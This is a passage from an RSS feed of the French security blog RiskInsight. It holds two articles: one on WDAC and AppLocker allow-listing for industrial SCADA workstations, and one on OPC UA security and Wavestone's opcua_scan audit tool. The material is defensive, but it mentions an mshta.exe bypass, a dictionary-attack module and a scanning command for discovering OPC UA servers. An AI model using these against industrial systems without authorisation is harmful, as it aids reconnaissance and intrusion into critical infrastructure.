<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/01/naviguez-en-toute-securite-la-securisation-des-conteneurs-etape-par-etape/">Naviguez en toute sécurité : La sécurisation des conteneurs étape par étape </a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/01/naviguez-en-toute-securite-la-securisation-des-conteneurs-etape-par-etape/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Le filtrage applicatif : quelle stratégie adopter pour son système de supervision industriel ?</title>
		<link>https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/#respond</comments>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Wed, 06 Dec 2023 09:03:06 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21919</guid>

					<description><![CDATA[<p>Le système de contrôle industriel (ICS) représente l’ensemble des ressources et machines permettant de superviser et contrôler un processus industriel. Cet article s’intéresse aux problématiques de sécurité sur les machines Windows de la couche de supervision et maintenance des ICS :...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/">Le filtrage applicatif : quelle stratégie adopter pour son système de supervision industriel ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Le <strong>système de contrôle industriel (ICS)</strong> représente l’ensemble des ressources et machines permettant de superviser et contrôler un processus industriel. Cet article s’intéresse aux problématiques de sécurité sur les machines Windows de la couche de supervision et maintenance des ICS : les serveurs et clients SCADA, les Data Historian ou encore les stations d’ingénierie et poste de maintenance.</p>
<p><img loading="lazy" decoding="async" class="wp-image-21929 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png" alt="" width="668" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1.png 1369w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage1-768x321.png 768w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p>Un <strong>SCADA</strong> (Supervisory Control And Data Acquisition ou Système de contrôle et d’acquisition de données) permet de gérer et de contrôler à distance des installations industrielles. Cela inclut des machines telles que des postes de supervision, serveurs de centralisation de données, portables de maintenance…).</p>
<p>Les postes SCADA incluent trois fonctions principales :</p>
<ul>
<li><strong>Acquisition</strong> : Des capteurs sont présents sur les automates programmables industriels (API) qui agissent sur le processus industriel. Ces capteurs sont reliés au SCADA afin que les différentes données du processus puissent être récupérées ;</li>
<li><strong>Supervision</strong> : Les opérateurs accèdent aux données récupérées et supervisent en temps réel le bon déroulement du processus industriel ;</li>
<li><strong>Contrôle</strong> : Lorsque le processus industriel le permet, les opérateurs peuvent envoyer certains ordres de contrôles aux automates afin d’adapter le processus industriel.</li>
</ul>
<p>La nature de ces postes en fait un élément important de la chaîne de production, c’est pourquoi il est nécessaire de sécuriser leur partie logicielle qui fonctionne souvent sous Windows.</p>
<p>Cependant, des <strong>contraintes</strong> sont présentes par rapport à un poste en environnement bureautique classique :</p>
<ul>
<li>Les postes fonctionnent en continu, avec une fréquence de mise à jour très faible (une fois tous les 1 à 2 ans) ;</li>
<li>De plus, ces postes ont une durée de vie très étendue, pouvant aller jusqu’à plus de 10 ans. Un poste SCADA fonctionnera donc en partie sur un système d’exploitation obsolète qui ne recevra plus de patchs de sécurité durant sa période de fonctionnement ;</li>
<li>Enfin, les systèmes industriels sont parfois totalement isolés, ce qui empêche l’utilisation de solutions de sécurité telles que des EDR qui ont besoin de communiquer avec une console centrale pour remonter les alertes et récupérer les actions à effectuer.</li>
</ul>
<p>Les solutions de sécurité classiques ne sont donc pas applicables dans un écosystème soumis à ces contraintes.</p>
<p> </p>
<h2>Une solution possible : le contrôle d’application</h2>
<p>Une des solutions permettant de pallier ces problèmes est le contrôle d’application : cela consiste à gérer quelles applications sont autorisées à être exécutées ou non sur une machine grâce à une liste blanche d’applications autorisées.</p>
<p>Les solutions de contrôle d’application gèrent aussi bien les .exe que d’autres types de programmes tels que les DLL, les pilotes ou encore les scripts (comme PowerShell, CMD ou encore VBS).</p>
<p><img loading="lazy" decoding="async" class="wp-image-21931 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage2.png" alt="" width="531" height="274" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage2.png 919w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage2-370x191.png 370w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage2-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage2-768x397.png 768w" sizes="auto, (max-width: 531px) 100vw, 531px" /></p>
<p>Une partie significative des menaces proviennent de programmes malveillants. Ce genre de solutions permet d’autoriser uniquement les applications nécessaires tout en bloquant toute application indésirable ou dangereuse. Le contrôle d’application garde également un bon niveau de sécurité dans un système obsolète et sujet à des vulnérabilités, car durant les étapes de compromission, un attaquant est souvent amené à exécuter des programmes malveillants sur un système.</p>
<p>Par ailleurs, le contrôle d’application s’intègre facilement dans le milieu industriel : les postes de supervision sont soumis à bien moins de changements qu’un poste de bureautique ; il n’y aura donc pas besoin de revoir en permanence la liste blanche afin d’y ajouter des applications à autoriser.</p>
<p> </p>
<h2>Solutions de contrôle d’application sous Windows</h2>
<p>Deux solutions de contrôle d’application sont présentes nativement sous Windows : Windows Defender Application Control (WDAC) et AppLocker. WDAC est apparu avec Windows 10 ; c’est le successeur d’AppLocker qui est présent depuis Windows 7. Les deux solutions partagent un fonctionnement très similaire, cependant WDAC est activement maintenu par Microsoft, avec de l’ajout de nouvelles fonctionnalités, tandis qu’AppLocker ne reçoit que des mises à jour de sécurité.</p>
<p>Lorsqu’une application n’est pas autorisée par la liste blanche, son exécution sera bloquée. Le message d’erreur suivant sera alors affiché à l’utilisateur. Un évènement contenant les informations du blocage sera également inscrit dans les logs de Windows pour revue par le SOC ou les administrateurs du système d’information.</p>
<p><img loading="lazy" decoding="async" class="wp-image-21933 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png" alt="" width="469" height="167" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3.png 825w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage3-768x274.png 768w" sizes="auto, (max-width: 469px) 100vw, 469px" /></p>
<p>Le contrôle d’application peut fonctionner en mode bloquant ou audit. Le mode audit permet de tester la liste utilisée : les applications non autorisées sont exécutées, mais un évènement de blocage est tout de même inscrit pour indiquer qu’elles ne fonctionneraient pas en mode bloquant.</p>
<p>Afin d’avoir un contrôle d’application efficace, il est nécessaire de constituer une liste blanche la plus restrictive possible tout en autorisant les applications métier. Pour les deux solutions, la liste blanche peut se constituer avec trois règles différentes :</p>
<ul>
<li><strong>Règles de chemin</strong> : Autorise l’application selon le chemin depuis lequel elle est exécutée. Ce sont les règles les plus faciles à utiliser mais elles peuvent induire des problèmes de sécurité. Il est en effet courant de retrouver des dossiers autorisés dans la liste blanche et accessibles en écriture par les utilisateurs. Ces derniers seront donc en mesure de déposer n’importe quelle application dans le dossier pour pouvoir l’exécuter, contournant ainsi le contrôle d’application ;</li>
<li><strong>Règles d’éditeur</strong> : Autorise l’application en fonction des éléments de sa signature numérique. Ces règles sont tout autant faciles à utiliser que les règles de chemin mais gardent un bon niveau de sécurité en n’autorisant que des applications provenant d’éditeurs légitimes. L’avantage principal de ce type de règle est qu’elles restent valables après une mise à jour des applications car l’éditeur ne change pas. Cependant, cela nécessite que les applications à autoriser soient signées, ce qui n’est pas toujours le cas en milieu industriel ;</li>
<li><strong>Règles de hash</strong> : Autorise l’application selon son hash. Ces règles imposent le plus haut restrictif possible. Le hash de chaque application étant unique, seul le code explicitement autorisé par la politique peut être exécuté. Toutefois, ce type de règle génère un coût organisationnel important : toute modification d’une application change son hash ; la règle doit alors être mise à jour afin d’autoriser correctement l’application.</li>
</ul>
<p>Pour les choix des types de règles à utiliser, on distingue deux cas de figures :</p>
<ul>
<li>Sur les <strong>équipements recevant des mises à jour</strong>, les règles d’éditeur doivent être privilégiées afin de garder la validité de la liste blanche même après modification des fichiers des applications. Les règles de chemin pourront être utilisées en second lieux pour les applications non signées, en faisant attention aux règles d’accès des répertoires en question ;</li>
<li>Sur les <strong>équipements dont la configuration ne changera pas</strong>, les règles éditeurs peuvent être utilisées pour autoriser facilement le code de base de Windows. Les applications métier pourront alors être autorisées avec des règles de hash car elles ne seront pas vouées à changer.</li>
</ul>
<p> </p>
<h2>Démarches de déploiement</h2>
<p>Maintenant que l’on sait quels types de règles utiliser, il reste à constituer la liste blanche pour la machine à sécuriser. Deux approches sont retenues selon le type de poste à gérer :</p>
<h4>Approche temporelle : Déploiement par amélioration continue</h4>
<p><img loading="lazy" decoding="async" class="wp-image-21935 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage4.png" alt="" width="669" height="208" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage4.png 1270w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage4-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage4-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage4-768x238.png 768w" sizes="auto, (max-width: 669px) 100vw, 669px" /></p>
<p>Cette méthode consiste à déployer le contrôle d’application en partant d’une politique de base autorisant les composants de Windows qui est ensuite améliorée petit à petit grâce aux évènements générés par l’exécution des applications métier.</p>
<p>Cette approche est particulièrement adaptée pour les postes existants en production sur lesquels les administrateurs n’ont pas beaucoup d’informations. Chaque évènement généré doit alors être revu afin d’estimer si l’application exécutée est légitime ou non. Cela permet d’obtenir une liste blanche exhaustive sans pour autant autoriser des applications illégitimes.</p>
<h4>Approche par modèle : Déploiement sur une « golden image » puis réplication sur le reste des machines</h4>
<p><img loading="lazy" decoding="async" class="wp-image-21937 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage5.png" alt="" width="669" height="235" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage5.png 1462w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage5-437x154.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage5-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/11/FRImage5-768x270.png 768w" sizes="auto, (max-width: 669px) 100vw, 669px" /></p>
<p>Dans cette approche, WDAC sera déployé sur une « <strong><em>golden image</em></strong> », c’est-à-dire une image propre contenant toutes les applications nécessaires à l’utilisation métier de la machine. Une fois la politique correctement configurée, la golden image pourra être clonée sur toutes les autres machines ayant le même rôle. Typiquement, la golden image pourra être produite à l’issue des tests d’acceptation (FAT/SAT) lors de la mise en place d’une nouvelle usine.</p>
<p>Cette approche est préférable pour les nouveaux postes à mettre en production. En partant d’une machine vierge où l’on installe l’ensemble des logiciels nécessaires au métier, on est assuré qu’aucune application illégitime n’est présente sur la machine. Il est alors possible d’utiliser les outils fournis par Microsoft afin de scanner la machine et générer automatiquement une liste blanche autorisant l’ensemble des applications présentes sur la machine.</p>
<p> </p>
<h2>Limites du contrôle d’application</h2>
<p>Il est important de prendre en compte les limites de ces solutions, qui ne sont pas infaillibles. Par nature, les actions d’une application autorisée à être exécutée ne sont plus surveillées, l’application peut elle-même exécuter du code ou lancer d’autres programmes. Par conséquent, si un attaquant venait à découvrir une vulnérabilité sur une application autorisée par la liste blanche, le contrôle d’application n’empêcherait pas son exploitation qui permettrait d’influer sur le procédé industriel, mais cela empêchera l’exécution de programmes malveillants tels que des ransomware.</p>
<p>Il existe ainsi plusieurs manières de contourner le contrôle d’application en utilisant des programmes présents de base dans Windows. C’est notamment le cas de mshta.exe qui permet d’exécuter des applications HTML autonomes (.hta) qui sont capables d’exécuter du code sur une machine. C’est pourquoi Microsoft maintient en permanence une liste d’applications présentes de base dans Windows ou signées par Microsoft à bloquer afin de durcir le contrôle d’application.</p>
<p>Le même principe s’applique aux programmes métier. Il revient aux industriels de faire auditer leurs applications afin de s’assurer qu’aucune vulnérabilité pouvant permettre la compromission du poste ne soit présente.</p>
<p> </p>
<h2>Contrôle d’application sous Windows : WDAC ou AppLocker ?</h2>
<p>Finalement, les deux solutions sont très similaires et compatibles avec les deux modes de déploiement présentés précédemment, il reste donc à choisir entre les deux.</p>
<p>Lorsque possible, il est préférable de choisir <strong>WDAC </strong>: sa force se trouve dans sa capacité de contrôle global et ses différentes fonctionnalités. En effet, AppLocker ne peut contrôler que les programmes exécutés par l’utilisateur, tandis que WDAC peut aussi contrôler les programmes exécutés par Windows tels que les pilotes.</p>
<p>De plus, WDAC intègre des fonctionnalités supplémentaires telles que des protections contre les élévations de privilèges ou encore la vérification automatique des accès utilisateur sur les règles de chemin. Microsoft continue également de supporter la solution et de l’améliorer en ajoutant de nouvelles fonctionnalités, tandis qu’AppLocker ne reçoit que des mises à jour.</p>
<p>AppLocker quant à lui est généralement plus simple d’utilisation que WDAC et permet de différencier l’application des règles selon les utilisateurs de la machine alors que les règles de WDAC s’appliquent à toute la machine sans distinction.</p>
<p>Cependant, WDAC n’est disponible qu’à partir de Windows 10. Ainsi, sur les machines utilisant Windows 7, encore très présentes sur les réseaux industriels, <strong>AppLocker </strong>est la seule solution native disponible, qui est donc à utiliser. Sur Windows 10 et supérieur, WDAC est la meilleure solution de contrôle d’application et est à préférer.</p>
<p>En complément, AppLocker peut être utilisé en parallèle de WDAC s’il y a besoin de différencier les règles selon les utilisateurs. WDAC devra alors être implémenté au niveau le plus restrictif possible, puis AppLocker peut être utilisé pour affiner les restrictions.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/">Le filtrage applicatif : quelle stratégie adopter pour son système de supervision industriel ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/12/le-filtrage-applicatif-quelle-strategie-adopter-pour-son-systeme-de-supervision-industriel/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Un regard sur OPC UA, un protocole industriel moderne et émergent</title>
		<link>https://www.riskinsight-wavestone.com/2023/09/un-regard-sur-opc-ua-un-protocole-industriel-moderne-et-emergent/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/09/un-regard-sur-opc-ua-un-protocole-industriel-moderne-et-emergent/#respond</comments>
		
		<dc:creator><![CDATA[Constance Francois]]></dc:creator>
		<pubDate>Mon, 11 Sep 2023 15:11:36 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21179</guid>

					<description><![CDATA[<p>Intro L’émergence de l’industrie 4.0 se caractérise par la numérisation de l’industrie et une plus grande interconnexion entre les différentes machines qui composent un SI (Système d’Information) industriel. Cependant, cette croissance des communications au sein des SI industriels engendre également...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/09/un-regard-sur-opc-ua-un-protocole-industriel-moderne-et-emergent/">Un regard sur OPC UA, un protocole industriel moderne et émergent</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1>Intro</h1>
<p>L’émergence de l’industrie 4.0 se caractérise par la numérisation de l’industrie et une plus grande interconnexion entre les différentes machines qui composent un SI (Système d’Information) industriel. Cependant, cette croissance des communications au sein des SI industriels engendre également une augmentation de leur surface d’attaque. De plus, les protocoles historiquement utilisés au sein de ces SI (comme Modbus), n’offrent que très peu, voire aucun mécanisme de sécurité. Certains de ces protocoles étaient également propriétaires ce qui pouvait poser des problèmes d’interopérabilités entre les différentes machines du SI.</p>
<p>Le standard OPC UA a été créé en 2008 par la fondation OPC pour répondre à ces problématiques, en proposant une uniformisation des communications entre les machines des SI industriels, et en intégrant de nombreux mécanismes pour garantir la sécurité de ces communications.</p>
<p> </p>
<h1>Le standard OPC UA</h1>
<p>Le standard OPC UA est un standard de communication open-source, qui a été conçu pour être multiplateforme. Il peut être implémenté sur tout type de composant, quel que ce soit son système d’exploitation.</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21204 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0.jpg" alt="" width="842" height="470" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0.jpg 1600w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-342x191.jpg 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-71x39.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-768x429.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/1569094872898-en-html-1.0-1536x858.jpg 1536w" sizes="auto, (max-width: 842px) 100vw, 842px" /><em>Communications permises par OPC UA </em>(Source : <a href="https://opcconnect.opcfoundation.org/wp-content/uploads/2021/09/OPC-UA-for-Field-in-FA-and-PA.jpg">site web</a> de la OPC Foundation)</p>
<p>Le standard propose deux types d’architectures, pouvant être utilisées de manière complémentaire :</p>
<ul>
<li>L’architecture client-serveur : c’est l’architecture la plus utilisée. Elle est composée d’éléments matériels et/ou logiciels qui contiennent des données, de serveurs OPC UA qui mettent à disposition ces données ou des services, ainsi que de clients OPC UA qui peuvent interagir avec les serveurs pour utiliser leurs services ou accéder à leurs données.</li>
<li>L’architecture PubSub : elle peut être est utile lorsque le volume de données échangées commence à devenir important. Elle est composée de Publishers qui émettent des messages, et de Subscribers, qui reçoivent ces messages par le biais d’un Message Oriented Middleware (MOM).</li>
</ul>
<p> </p>
<h1>Sécurité de l’architecture client-serveur</h1>
<p>L’architecture client-serveur étant de loin la plus utilisée, nous allons à présent nous pencher plus en détail sur les mécanismes de sécurité proposés par le standard OPC UA dans ce type d’architecture.</p>
<p>Tout d’abord, trois niveaux de sécurité dont disponibles concernant le chiffrement des communications entre un client et un serveur OPC UA :</p>
<ul>
<li><em>None </em>: les messages sont envoyés en clair, sans aucune protection</li>
<li><em>Sign </em>: les messages sont signés. Cela protège l’intégrité des données transmises, mais pas leur confidentialité</li>
<li><em>SignAndEncrypt </em>: les messages sont signés et chiffrés. Dans ce cas, la confidentialité des messages est également protégée</li>
</ul>
<p>Pour mettre en place ce chiffrement, le client et le serveur disposent chacun d’un certificat X.509 et d’une clé privée associée, qu’ils utilisent pour s’échanger une clé de session de manière chiffrée. Ils peuvent ensuite utiliser cette clé de session pour chiffrer la suite des échanges avec des algorithmes de chiffrement symétriques.</p>
<p>Plusieurs niveaux de sécurité concernant l’authentification des utilisateurs sont également disponibles. Pour s’authentifier, les clients envoient aux serveurs des jetons appelés <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41"><em>UserIdentityTokens</em></a>, qui contiennent les informations nécessaires à l’authentification. Il existe plusieurs types de <em>UserIdentityToken</em>, et c’est le serveur qui choisit quels types il accepte :</p>
<ul>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.3"><em>AnonymousIdentityToken</em></a> : ce jeton ne contient aucune information particulière. Si le serveur l’accepte, il authentifie l’utilisateur en tant qu’utilisateur anonyme</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.4"><em>UserNameIdentityToken</em></a> : ce jeton contient un nom d’utilisateur et un mot de passe. Si ces derniers sont valides, l’utilisateur est authentifié et dispose ensuite du profil et des droits associés à son nom d’utilisateur</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.5"><em>X509IdentityToken</em></a> : ce jeton contient un certificat X.509. Si le serveur a enregistré ce certificat, l’utilisateur est authentifié et dispose ensuite d’un profil et des droits associés au certificat</li>
<li><a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.41.6"><em>IssuedIdentityToken</em></a> : ce jeton encapsule un jeton d’accès fourni par un service tiers de gestion des accès, comme un serveur OAuth2 par exemple</li>
</ul>
<p>Enfin, une fois authentifié, l’utilisateur a accès aux nœuds du serveur. Ci-dessous, un exemple de nœuds qui pourraient être rencontrés sur un serveur OPC UA :</p>
<p>  <img loading="lazy" decoding="async" class=" wp-image-21219 alignleft" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1.png" alt="" width="255" height="390" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1.png 227w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1-125x191.png 125w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image1-26x39.png 26w" sizes="auto, (max-width: 255px) 100vw, 255px" /><img loading="lazy" decoding="async" class=" wp-image-21221 alignright" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2.png" alt="" width="451" height="390" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2.png 450w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2-221x191.png 221w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image2-45x39.png 45w" sizes="auto, (max-width: 451px) 100vw, 451px" />                    </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p style="text-align: center;"><em>Nœuds d’un serveur OPC UA</em></p>
<p>Un contrôle d’accès peut être mis en place pour restreindre l’accès à certains nœuds aux utilisateurs à haut privilège (administrateurs, …), ou bien pour exiger que le canal de communication soit chiffré pour accéder à certains nœuds sensibles. La figure ci-dessous récapitule comme la gestion de l’accès à un nœud se déroule :</p>
<p><img loading="lazy" decoding="async" class="alignnone  wp-image-21224 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3.png" alt="" width="457" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3.png 457w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image3-3-71x35.png 71w" sizes="auto, (max-width: 457px) 100vw, 457px" /></p>
<p style="text-align: center;"><em>Représentation de la gestion des permissions extraite du chapitre 2 des spécifications OPC UA</em></p>
<p> </p>
<h1>Outillage d’audit OPC UA</h1>
<p>Les outils publics existants pour faciliter l’audit d’applications OPC UA sont très peu nombreux. Un des plus connus est le module Metasploit appelé « <a href="https://github.com/COMSYS/msf-opcua">msf-opcua </a>».</p>
<p>Ce module est composé de trois scripts :</p>
<ul>
<li><em>opcua_hello</em> : permet d’envoyer un « Hello Message » à une liste d’adresses IPs, pour un port donné, afin de détecter la présence de serveurs OPC UA parmi cette liste</li>
<li><em>opcua_server_config</em> : ce script s’utilise avec pour prérequis un accès authentifié à un serveur OPC UA. Si cette condition est remplie, ce script permet de récupérer des informations sur la configuration des points d’accès du serveur (chiffrement, authentification…)</li>
<li><em>opcua_login </em>: permet d’effectuer une attaque par dictionnaire sur un serveur utilisant une authentification par nom d’utilisateur et mot de passe</li>
</ul>
<p>Bien que fournissant des premiers éléments utiles pour effectuer un audit, cet outil comporte tout de même quelques limites. Par exemple, il n’est pas possible de scanner plusieurs ports à la fois avec le script opcua_hello. Autre exemple, le script opcua_server_config requiert une authentification pour récupérer certaines informations de configuration alors que ces dernières sont en réalité disponibles sans authentification.</p>
<p>C’est pourquoi Wavestone a décidé de proposer une amélioration de cet outil. Il a été décidé de ne plus utiliser le framework Metasploit, qui imposait trop de contraintes et l’outil prend à présent la forme d’un script Python indépendant, renommé « opcua_scan ». Il s’appuie sur la bibliothèque <a href="https://github.com/FreeOpcUa/opcua-asyncio">opcua-asyncio</a> contrairement au module msf-opcua qui utilise la librairie <a href="https://github.com/FreeOpcUa/python-opcua">python-opcua</a> déclarée comme dépréciée par ses auteurs.</p>
<p>L’outil est accessible via ce <a href="https://github.com/wavestone-cdt/opcua-scan">lien</a>, et met à disposition deux commandes : « hello » et « server_config », qui reprennent les fonctionnalités des scripts opcua_hello et opcua_server_config du module msf-opcua. Le script opcua_login n’a pas été repris, car il n’a pas fait l’objet d’amélioration et peut être utilisé directement.</p>
<p> </p>
<h2>La commande hello</h2>
<p>Cette commande s’utilise pour détecter les applications OPC UA dans un réseau. Elle permet d’envoyer des « Hello Message » à une liste d’adresses IP, sur une liste de ports donnée, et d’en déduire la présence ou l’absence de serveurs OPC UA sur les cibles. Ensuite, le service <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4.2"><em>FindServers</em></a>, supposé être implémenté par tout serveur OPC UA, est utilisé pour récupérer l’<a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.2"><em>ApplicationDescription</em></a> du serveur (et des autres applications OPC UA connues par le serveur). Cet objet contient des informations utiles, comme le <em>productUri</em>, qui donne des renseignements sur le logiciel ou la bibliothèque utilisée pour faire fonctionner le serveur détecté, ou encore les <em>discoveryUrls</em>, qui indique les URL vers les <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/3.1.3"><em>DiscoveryEndpoints</em></a> du serveur. Ces endpoints peuvent être utilisés par la commande server_config pour récupérer davantage d’informations sur la configuration du serveur.</p>
<p>Plusieurs options ont été ajoutées à la commande, comme la configuration du timeout pour considérer une connexion à un serveur comme échouée ou la possibilité de récupérer la liste des serveurs détectés dans un fichier de sortie JSON.</p>
<p>Voilà comment la commande hello pourrait s’utiliser en pratique :</p>
<pre><span style="color: #000000;">$ python opcua_scan.py hello -i &lt;IPs&gt; -p &lt;ports&gt; -o hello_output.json</span></pre>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="alignnone  wp-image-21226" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4.png" alt="" width="639" height="340" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4.png 789w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-359x191.png 359w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image4-768x409.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Exemple de résultats générés par la commande hello</em></p>
<p>Et la capture d’écran ci-dessous montre un extrait du fichier JSON généré :</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="wp-image-21228 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5.png" alt="" width="639" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5.png 724w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image5-71x25.png 71w" sizes="auto, (max-width: 639px) 100vw, 639px" /><em>Extrait d’un fichier de sortie généré par la commande hello</em></p>
<p>La documentation complète de la commande hello et de toutes ses options est disponible <a href="https://github.com/wavestone-cdt/opcua-scan/blob/main/README.md#hello-command-discovery">ici</a>.</p>
<h2>La commande server_config</h2>
<p>Grâce aux <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/3.1.3"><em>DiscoveryEndpoints</em></a> récupérés avec la commande hello, nous avons à présent accès à l’ensemble du <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4"><em>Discovery Service Set</em></a> du serveur. Aucune authentification ni mécanisme de chiffrement n’est nécessaire pour utiliser ces services. Parmi ces services, celui appelé <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/5.4.4"><em>GetEndpoints</em></a> peut être utilisé pour récupérer les endpoints pour se connecter au serveur, ainsi que des informations sur la configuration de ces endpoints. Ces informations sont données par le biais d’objets <a href="https://reference.opcfoundation.org/Core/Part4/v105/docs/7.14"><em>EndpointDescriptions</em></a>, qui contiennent notamment :</p>
<ul>
<li>Le niveau de sécurité du chiffrement accepté sur l’endpoint (<em>None</em>, <em>Sign</em> ou <em>SignAndEncrypt</em>)</li>
<li>L’algorithme de signature ou de chiffrement utilisé</li>
<li>Les types de <em>UserIdentityToken</em> acceptés par l’endpoint (<em>AnonymousIdentityToken</em>, <em>UserNameIdentityToken</em>, <em>X509IdentityToken</em> ou <em>IssuedIdentityToken</em>)</li>
</ul>
